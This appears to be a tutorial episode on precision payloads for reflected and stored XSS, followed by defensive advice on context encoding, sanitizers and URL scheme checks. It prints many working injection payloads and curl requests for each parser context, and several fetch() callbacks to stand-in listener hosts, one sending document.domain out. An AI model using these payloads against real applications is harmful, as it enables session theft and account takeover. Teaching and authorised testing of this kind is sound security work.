In the previous episode, we mapped where XSS lives. Now we stop drawing circles around attack surface and start doing what matters in real assessments: landing execution reliably. Reflected and stored XSS are rarely about “try <script>alert(1)</script> and win.” Modern targets force you to think in contexts, parser behavior, encoding layers, and application-specific transforms. This episode is about precision payloads: how to identify the exact rendering context, choose the right breakout strategy, and build payloads that survive reflection, storage, templating, and partial sanitization long enough to execute.
The goal here is not payload memorization. It is payload engineering.
Why precision matters
A payload only works if it matches the browser’s parsing context at the sink. The same attacker-controlled string can be harmless in one place and instantly executable in another.
Consider these four reflections of the same input:
<div>SEARCH_TERM</div>
<input value="SEARCH_TERM">
<script>var q = "SEARCH_TERM";</script>
<a href="/next?dest=SEARCH_TERM">continue</a>
Those are four different contexts:
- HTML text
- HTML attribute
- JavaScript string inside a script block
- URL-valued attribute
Each requires a different escape strategy. If you don’t know the context, you’re guessing. If you guess, you miss bugs.
For reflected XSS, your job is usually:
- Find the reflection.
- Determine exact parser context.
- Identify what characters are encoded, filtered, or normalized.
- Build the smallest payload that breaks out and executes.
For stored XSS, add one more problem:
- Survive the application’s storage/render pipeline and trigger in the victim’s browser later.
A context-first payload workflow
When you find reflection or stored rendering, work through this sequence.
1. Probe safely
Start with markers that reveal context without trying to execute anything.
Use values like:
xsstest123
"><xsstest>
'";</script>
javascript:alert(1)
You’re not trying to fire yet. You’re trying to answer:
- Is input HTML-encoded?
- Are quotes encoded?
- Is
/encoded? - Is the value inserted raw or transformed?
- Is it reflected once, multiple times, or after decoding?
2. View source and live DOM
Don’t rely on browser-rendered output alone. Compare:
- raw HTTP response in Burp
- View Source
- Elements panel in DevTools
Mutation during parsing can change what actually lands in the DOM. That distinction becomes critical later when we hit mutation-based evasion, but even in reflected/stored XSS, it helps explain “why my payload looked broken in the response but executed in the browser.”
3. Minimize before you weaponize
Before dropping a full exfiltration payload, prove execution with the smallest possible primitive:
<script>alert(1)</script>
or better, for low-noise testing:
<img src=x onerror=alert(1)>
or a callback to your listener:
<img src=x onerror=fetch('https://YOUR-COLLAB/o')>
For professional testing, use a controlled listener, not alert(), unless you specifically need visible proof.
Reflected XSS: precision by sink context
Reflected XSS is usually easier to iterate on because you can send a request and immediately inspect the response. That makes it ideal for disciplined context testing.
HTML text context
Example sink:
<div class="msg">USER_INPUT</div>
If your input lands as raw HTML, you don’t need to “break out” of anything. You just need a tag that executes.
Common payloads
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
A practical reflected test with URL encoding:
curl 'https://target.example/search?q=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E'
If < and > are encoded, but quotes are not, text context may not be directly exploitable. Then you need to see whether the input is later reused in another context, or whether a transform decodes it downstream.
Notes
<script>often fails due to filtering or parser placement.- Event-handler payloads on valid HTML elements are often more reliable.
svgis useful because it supports event attributes and often bypasses simplistic tag blacklists.
Attribute context
Example sink:
<input value="USER_INPUT">
Now your input is inside an attribute value. To execute, you usually need to:
- Close the current quote
- Add a new attribute or tag
- Trigger execution
Double-quoted attribute breakout
Probe:
"
If that closes the attribute, build:
" autofocus onfocus=alert(1) x="
Result:
<input value="" autofocus onfocus=alert(1) x="">
A more universal payload:
"><img src=x onerror=alert(1)>
Single-quoted attribute breakout
' autofocus onfocus=alert(1) x='
Unquoted attribute context
Example sink:
<input value=USER_INPUT>
Then whitespace becomes your separator:
x autofocus onfocus=alert(1)
Useful attribute-trigger gadgets
Depending on the element, these can be reliable:
" onmouseover=alert(1) x="
" onpointerenter=alert(1) x="
" autofocus onfocus=alert(1) x="
If user interaction is acceptable in scope, pointer and click handlers are often enough. For zero-click testing, autofocus/onfocus can be great, but only works on focusable elements and under realistic browser behavior.
Script block context
Example sink:
<script>
var search = "USER_INPUT";
</script>
This is where a lot of testers get sloppy. You are not in HTML anymore. You are inside JavaScript source code, possibly inside a string literal. Your payload must be valid in that grammar.
Breaking out of a double-quoted JS string
Payload:
";alert(1);//
Result:
<script>
var search = "";alert(1);//";
</script>
Breaking out of a single-quoted JS string
';alert(1);//
If inside a JS object or array
<script>
var cfg = {"q":"USER_INPUT"};
</script>
Payload:
"};alert(1);//
If quotes are escaped
If the app converts " to \", simple breakout fails. Then test:
- whether backslashes are escaped correctly
- whether line terminators are allowed
- whether the input is inserted into a template literal
For example, if inserted into a template string:
<script>
const q = `USER_INPUT`;
</script>
Payload:
`;alert(1);//
Closing the script tag from inside JS
If your input is HTML-parsed before JS-parsed, this classic still matters:
</script><img src=x onerror=alert(1)>
This works because HTML parsing can terminate the script element before JavaScript parsing of the string would matter. It is especially useful when quote escaping defeats JS-string breakout but < is still allowed.
URL-valued attributes
Example sink:
<a href="USER_INPUT">continue</a>
If the application lets you control the start of the URL, test for dangerous schemes:
javascript:alert(1)
data:text/html,<script>alert(1)</script>
In practice:
javascript:may execute on clickdata:is often blocked by CSP or browser restrictions in some contexts- relative URL prefixing may prevent direct control
If the app prepends text:
<a href="/redirect?next=USER_INPUT">
then you’re no longer controlling the scheme directly. At that point, this is more likely an open redirect or a server-side issue than immediate XSS unless the value is later decoded into another sink.
Stored XSS: payloads that survive the pipeline
Stored XSS is usually messier because your payload often passes through:
- server-side validation
- database storage
- output encoding
- markdown or rich-text conversion
- frontend rendering
- admin moderation views
- email templates or previews
The same stored value may appear in multiple contexts across the app. That is gold.
Hunt for secondary render paths
A comment body might be sanitized on the public page but rendered unsafely in:
- admin dashboard
- moderation queue
- mobile webview
- export/report page
- notification preview
- internal CRM panel
Stored XSS is often found by submitting content once and then tracing every place it reappears.
Stored HTML context example
Suppose a profile “bio” supports basic formatting and is rendered as HTML:
<div class="bio">USER_BIO</div>
Try safe probes first:
<b>test</b>
<i>x</i>
<img src=x onerror=alert(1)>
If some tags survive but event handlers are stripped, test allowed tags with dangerous attributes. If links are allowed:
<a href="javascript:alert(1)">click</a>
If only markdown is accepted, test the conversion layer.
Markdown-to-HTML pitfalls
Input:

[click](javascript:alert(1))
Some markdown renderers sanitize schemes; some don’t. Some allow embedded HTML outright:
<img src=x onerror=alert(1)>
Others strip raw HTML but still produce dangerous output through link/image parsing. Always inspect the final HTML in the browser, not just the original markdown.
Stored attribute-context example
An admin panel might render usernames into attributes:
<div data-name="USER_NAME"></div>
A stored username like:
" onmouseover=alert(1) x="
may not fire on the public profile page, but may execute in an internal admin tool that reuses the value unsafely.
This is why stored XSS often rewards patient recon over brute-force payload spam.
Payload engineering under partial filtering
Real apps rarely give you raw injection. More often, they encode some characters, strip some tags, and leave weird gaps.
Your job is to answer: what is still available?
Scenario: angle brackets encoded, quotes not encoded
If you can’t create new tags, but you are in an attribute, attribute injection may still work:
" onfocus=alert(1) x="
Scenario: quotes encoded, angle brackets allowed
If you are in HTML text, no problem:
<img src=x onerror=alert(1)>
If you are in a quoted attribute, harder. You may need to see whether the parser will accept malformed input, whether the attribute is unquoted in some render path, or whether another reflection point exists.
Scenario: event attributes stripped, dangerous tags allowed
Try execution via nested contexts like iframe srcdoc:
<iframe srcdoc="<script>alert(1)</script>"></iframe>
Or test SVG-related behavior where allowed.
Scenario: script tags stripped
That’s normal. Stop insisting on <script>. Event handlers, URL handlers, and parser breakouts are often better.
Building a practical reflected-XSS test loop
A disciplined Burp workflow helps.
Step 1: Send probe requests
GET /search?q=%22%3E%3Cxsstest%3E HTTP/1.1
Host: target.example
Step 2: Compare reflection
Look for:
<xsstest>- raw
<xsstest> - quote closure
- duplicated reflection in hidden fields, scripts, or links
Step 3: Choose context payload
Examples:
HTML text
<img src=x onerror=fetch('https://COLLAB/x')>
Attribute
" autofocus onfocus=fetch('https://COLLAB/x') x="
JS string
";fetch('https://COLLAB/x');//
Script termination
</script><img src=x onerror=fetch('https://COLLAB/x')>
Step 4: URL-encode exactly once
Use a real encoder, not your brain at 2 a.m.
python3 - <<'PY'
import urllib.parse
payload = '\"><img src=x onerror=fetch("https://collab.example/x")>'
print(urllib.parse.quote(payload))
PY
Step 5: Confirm in browser
Some payloads look good in proxy history but fail due to browser parsing, CSP, or interaction requirements. Always validate execution in a real browser session.
Reliable test infrastructure
Use a callback endpoint you control. Examples:
- Burp Collaborator
- interactsh
- self-hosted HTTPS listener
A simple listener for testing inbound requests:
python3 -m http.server 8000
Or with a proper public endpoint using nc behind a tunnel if needed. For browser callbacks, HTTPS matters.
Example payload:
<img src=x onerror="fetch('https://xss-listener.example/hit?c='+document.domain)">
Keep payloads minimal during discovery. Save heavier post-exploitation chains for later episodes.
Common mistakes advanced testers still make
Treating all reflections as HTML
A reflected value inside <script> is not an HTML sink problem first. It is a JavaScript grammar problem.
Ignoring storage-to-render transformations
A stored payload may be sanitized on submission, decoded on retrieval, and then injected into a template. Test the full lifecycle.
Overusing one payload
If your default move is always:
<script>alert(1)</script>
you will miss real bugs. Mature apps block the obvious thing and still fail elsewhere.
Forgetting duplicate reflections
One request parameter may appear in:
- visible HTML
- hidden form field
- JavaScript variable
- canonical link
- JSON bootstrap blob
One safe reflection does not mean all reflections are safe.
Defending against context-specific payloads
The offensive lesson here is simple: payloads succeed when developers mix untrusted data with executable parser contexts. The defensive lesson is equally simple: encode for the exact output context and avoid dangerous sinks entirely where possible.
Output encode by context
Use the correct encoder for:
- HTML text
- HTML attributes
- JavaScript strings
- CSS
- URLs
Do not “HTML-escape everything” and assume you’re done. HTML escaping does not make a value safe inside JavaScript source.
Prefer safe DOM APIs
On the server and client side, choose APIs that preserve text semantics:
element.textContent = userInput;
instead of:
element.innerHTML = userInput;
For attributes:
element.setAttribute('value', userInput);
with care for URL and event-handler attributes, which should not receive attacker-controlled values at all.
Sanitize rich content with a real sanitizer
If you intentionally allow HTML, use a mature sanitizer with a conservative policy. Do not roll your own regex filter.
Example with DOMPurify on the client:
const clean = DOMPurify.sanitize(userHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
container.innerHTML = clean;
And still pair sanitization with CSP and safer rendering patterns, because sanitizer misconfiguration is common.
Validate URL schemes
If user input can influence links, explicitly allow only safe schemes:
const u = new URL(userInput, location.origin);
if (!['http:', 'https:'].includes(u.protocol)) {
throw new Error('Invalid scheme');
}
Treat admin/internal views as high-risk sinks
Stored XSS often lands in back-office tools. Apply the same output encoding and sanitization discipline there, especially where staff view user-generated content.
Lab mindset: build a context matrix
For each reflected or stored input you test, maintain a quick matrix like this:
| Location | Context | Encoding observed | Trigger path | Working payload |
|---|---|---|---|---|
/search?q= |
HTML text | none | immediate | <img src=x onerror=...> |
/search?q= |
JS string | quotes escaped | immediate | </script><img...> |
| profile bio | markdown → HTML | raw HTML stripped | public profile | link scheme test |
| admin notes | attribute | quotes unescaped | admin hover | " onmouseover=... x=" |
This keeps you from retesting blindly and helps you communicate findings clearly in reports.
Example end-to-end: from reflection to execution
Suppose you hit:
GET /results?term=test HTTP/1.1
Host: app.example
Response contains:
<script>
window.__DATA__ = {"term":"test"};
</script>
Probe
Send:
"
Response:
<script>
window.__DATA__ = {"term":"\""};
</script>
Quotes are escaped.
Try script termination
Payload:
</script><img src=x onerror=fetch('https://collab.example/r')>
Encoded request:
curl 'https://app.example/results?term=%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dfetch(%27https%3A%2F%2Fcollab.example%2Fr%27)%3E'
If the response reflects it raw inside the script block, the HTML parser may terminate the script and execute the image handler.
That is precision payloading: not “what XSS string do I know,” but “what parser am I fighting, and what is the shortest route to code execution?”
Closing thoughts
Reflected and stored XSS become much easier once you stop thinking in payload lists and start thinking in parse states. HTML text, attribute values, script blocks, and URL sinks are different universes. The best testers move between them deliberately, adapting to encoding, normalization, and application behavior instead of forcing one favorite payload everywhere.
As we continue the series, we’re going to take this mindset deeper into the client side. In the next episode, we shift from server-rendered reflections and persisted content into the nastier territory: tracing tainted data through JavaScript itself, following sources into browser sinks, and exploiting DOM XSS with source-to-sink precision.